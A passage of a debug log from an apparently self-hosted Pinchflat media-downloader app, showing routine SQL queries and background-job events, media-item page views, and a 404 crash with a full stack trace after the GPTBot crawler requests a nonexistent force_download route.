{"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:13.868 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:29.308 [info] GET /sources/1/media/11/force_download 02:38:29.308 [debug] QUERY OK source="settings" db=0.2ms idle=151.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:38:29.309 [debug] QUERY OK source="settings" db=0.2ms idle=151.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:38:29.309 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:38:29.310 [error] #PID<0.239614.0> running PinchflatWeb.Endpoint (connection #PID<0.239613.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/11/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/11/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239613.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/11/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 55062}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239614.0>, params: %{}, path_info: ["sources", "1", "media", "11", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/1/media/11/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAfs2Z39whq4WIABbND"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239613.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/11/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 55062}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/11/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239613.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/11/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 55062}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239614.0>, params: %{}, path_info: ["sources", "1", "media", "11", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_route (truncated) 02:38:43.870 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.265 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:04.477 [info] GET /sources/1/media/5 02:39:04.478 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:39:04.479 [debug] QUERY OK source="media_items" db=0.5ms idle=1321.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 02:39:04.480 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=1322.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5] 02:39:04.480 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1200.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:39:04.481 [debug] QUERY OK source="settings" db=0.2ms idle=324.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:39:04.482 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=200.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:39:04.483 [debug] QUERY OK source="settings" db=0.2ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:39:04.484 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:39:04.487 [info] Sent 200 in 9ms 02:39:13.872 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:43.874 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.266 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:08.240 [info] GET /sources/1/media/8 02:40:08.241 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "8", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:40:08.242 [debug] QUERY OK source="media_items" db=0.3ms idle=1084.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [8] 02:40:08.243 [debug] QUERY OK source="tasks" db=0.4ms idle=835.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [8] 02:40:08.243 [debug] QUERY OK source="sources" db=0.7ms idle=85.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:40:08.244 [debug] QUERY OK source="settings" db=0.2ms idle=86.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:40:08.244 [debug] QUERY OK source="settings" db=0.3ms idle=87.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:40:08.246 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:40:08.247 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:40:08.250 [info] Sent 200 in 9ms 02:40:13.876 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:43.878 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.267 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:05.833 [info] GET /sources/1/media/7 02:41:05.833 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "7", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:41:05.834 [debug] QUERY OK source="media_items" db=0.4ms idle=1676.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 02:41:05.835 [debug] QUERY OK source="tasks" db=0.4ms idle=1677.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [7] 02:41:05.835 [debug] QUERY OK source="sources" db=0.6ms idle=1308.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:41:05.836 [debug] QUERY OK source="settings" db=0.2ms idle=679.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:41:05.837 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=308.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:41:05.838 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:41:05.839 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:41:05.842 [info] Sent 200 in 9ms 02:41:13.880 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:43.882 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:52.477 [info] GET /sources/1/media/9 02:41:52.477 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "9", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:41:52.479 [debug] QUERY OK source="media_items" db=0.5ms idle=1321.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9] 02:41:52.479 [debug] QUERY OK source="tasks" db=0.3ms idle=1322.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [9] 02:41:52.480 [debug] QUERY OK source="sources" db=0.6ms idle=1322.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:41:52.481 [debug] QUERY OK source="settings" db=0.2ms idle=1323.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:41:52.481 [debug] QUERY OK source="settings" db=0.3ms idle=858.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:41:52.482 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:41:52.484 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:41:52.487 [info] Sent 200 in 9ms 02:42:00.268 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:13.884 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:37.975 [info] GET /sources/1/media/6 02:42:37.975 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:42:37.976 [debug] QUERY OK source="media_items" db=0.3ms idle=1818.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 02:42:37.977 [debug] QUERY OK source="tasks" db=0.3ms idle=1819.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6] 02:42:37.977 [debug] QUERY OK source="sources" db=0.5ms idle=1263.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:42:37.978 [debug] QUERY OK source="settings" db=0.2ms idle=820.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:42:37.978 [debug] QUERY OK source="settings" db=0.2ms idle=262.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:42:37.979 [debug] QUERY OK source="settings" db=0.2ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:42:37.980 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:42:37.982 [info] Sent 200 in 7ms 02:42:43.886 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.269 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:13.888 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:20.795 [info] GET /sources/1/media/4 02:43:20.796 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:43:20.797 [debug] QUERY OK source="media_items" db=0.4ms idle=1639.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 02:43:20.798 [debug] QUERY OK source="tasks" db=0.5ms idle=1640.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4] 02:43:20.798 [debug] QUERY OK source="sources" db=0.8ms idle=1640.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", 